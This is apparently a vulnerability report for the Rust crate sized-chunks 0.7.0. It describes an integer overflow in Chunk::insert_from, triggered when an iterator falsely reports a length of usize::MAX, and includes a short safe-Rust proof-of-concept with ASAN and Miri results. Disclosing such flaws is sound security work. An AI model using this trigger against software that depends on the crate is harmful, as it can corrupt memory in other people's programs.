Potential soundness/security issue via unchecked iterator length in Chunk::insert_from

[ksj1230]

Description

The issue in Chunk::insert_from appears to stem from trusting unvalidated iterator length metadata and using it in unchecked arithmetic.

A malformed iterator can report usize::MAX, causing expressions such as:

self.len() + insert_size

to overflow in release builds (due to wrapping semantics). This may bypass capacity checks and produce invalid insertion ranges.

The resulting metadata inconsistency propagates into internal write paths, where unchecked indices may reach unsafe memory operations, potentially leading to out-of-bounds access and undefined behavior.

This can be triggered using safe Rust code only.

PoC

#![forbid(unsafe_code)]

use sized_chunks::Chunk;

struct EvilIter;

impl Iterator for EvilIter {
    type Item = u8;

    fn next(&mut self) -> Option<Self::Item> {
        Some(0x41)
    }

    fn size_hint(&self) -> (usize, Option<usize>) {
        (usize::MAX, Some(usize::MAX))
    }
}

impl ExactSizeIterator for EvilIter {
    fn len(&self) -> usize {
        usize::MAX
    }
}

fn main() {
    let mut c = Chunk::<u8, 8>::new();
    c.push_back(1);

    c.insert_from(1, EvilIter);

    println!("{:?}", c);
}

Impact

• Potential out-of-bounds access
• ASAN Report: negative-size-param
  (command: RUSTFLAGS="-Z sanitizer=address" cargo +nightly run --release)
• Undefined Behavior detected by Miri
• Tested version: sized-chunks = "0.7.0"
• compiler version: rustc 1.96.0-nightly